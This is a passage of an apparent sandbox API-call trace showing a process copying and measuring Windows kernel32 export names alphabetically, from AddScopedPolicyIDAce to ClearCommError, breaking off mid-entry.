[0083.234] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0083.234] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0083.235] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0083.235] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0083.235] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0083.235] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0083.235] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0083.235] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0083.235] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0083.235] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0083.235] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0083.235] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0083.235] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0083.235] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0083.235] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0083.235] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0083.235] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0083.235] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0083.235] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0083.235] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0083.235] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0083.235] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0083.236] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0083.236] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0083.236] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0083.236] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0083.236] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0083.236] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0083.236] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0083.236] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0083.236] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0083.236] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0083.236] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0083.236] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0083.236] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0083.236] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0083.236] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0083.236] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0083.236] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0083.236] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0083.236] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0083.236] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0083.237] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0083.237] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0083.237] lstrlenA (lpString="BACKUPREAD") returned 10 [0083.237] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0083.237] lstrlenA (lpString="BACKUPSEEK") returned 10 [0083.237] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0083.237] lstrlenA (lpString="BACKUPWRITE") returned 11 [0083.237] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0083.237] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0083.237] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0083.237] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0083.237] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0083.237] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0083.237] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0083.237] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0083.237] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0083.237] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0083.237] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0083.237] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0083.237] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0083.238] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0083.238] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0083.238] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0083.238] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0083.238] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0083.238] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0083.238] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0083.238] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0083.238] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0083.238] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0083.238] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0083.238] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0083.238] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0083.238] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0083.238] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0083.238] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0083.238] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0083.238] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0083.238] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0083.238] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0083.239] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0083.239] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0083.239] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0083.239] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0083.239] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0083.239] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0083.239] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0083.239] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0083.239] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0083.239] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0083.239] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0083.239] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0083.239] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0083.239] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0083.239] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0083.239] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0083.239] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0083.239] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0083.239] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0083.239] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0083.240] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0083.240] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0083.240] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0083.240] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0083.240] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0083.240] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0083.240] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0083.240] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0083.240] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0083.240] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0083.240] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0083.240] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0083.240] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0083.240] lstrcpyA (in: lpString1=0x21fe40c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0083.240] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0083.240] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0083.240] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0083.240] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0083.240] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0083.240] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0083.241] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0083.241] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0083.241] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0083.241] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0083.241] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0083.241] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0083.241] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0083.241] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0083.241] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0083.241] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0083.241] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0083.241] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0083.241] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0083.241] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0083.241] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0083.241] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0083.241] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0083.241] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0083.241] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0083.241] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0083.241] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0083.242] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0083.242] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0083.242] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0083.242] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0083.242] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0083.242] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0083.242] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0083.242] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0083.242] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0083.242] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0083.242] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0083.242] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0083.242] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0083.242] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0083.242] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0083.242] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0083.242] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0083.242] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0083.242] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0083.242] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0083.243] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0083.243] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0083.243] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0083.243] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0083.243] lstrcpyA (in: lpString1=0x21fe40c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0083.243] lstrlenA (lpString="BEEP") returned 4 [0083.243] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0083.243] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0083.243] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0083.243] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0083.243] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0083.243] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0083.243] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0083.243] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0083.243] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0083.243] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0083.243] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0083.243] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0083.243] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0083.243] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0083.244] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0083.244] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0083.244] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0083.244] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0083.244] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0083.244] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0083.244] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0083.244] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0083.244] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0083.244] lstrlenA (lpString="CANCELIO") returned 8 [0083.244] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0083.244] lstrlenA (lpString="CANCELIOEX") returned 10 [0083.244] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0083.244] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0083.244] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0083.244] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0083.244] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0083.244] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0083.244] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0083.244] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0083.244] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0083.245] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0083.245] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0083.245] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0083.245] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0083.245] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0083.245] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0083.245] lstrlenA (lpString="CHECKELEVATION") returned 14 [0083.245] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0083.245] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0083.245] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0083.245] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0083.245] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0083.245] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0083.245] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0083.245] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0083.245] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0083.245] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0083.245] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0083.245] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0083.245] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0083.246] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0083.246] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0083.246] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0083.246] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0083.246] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0083.246] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0083.246] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0083.246] lstrcpyA (in: 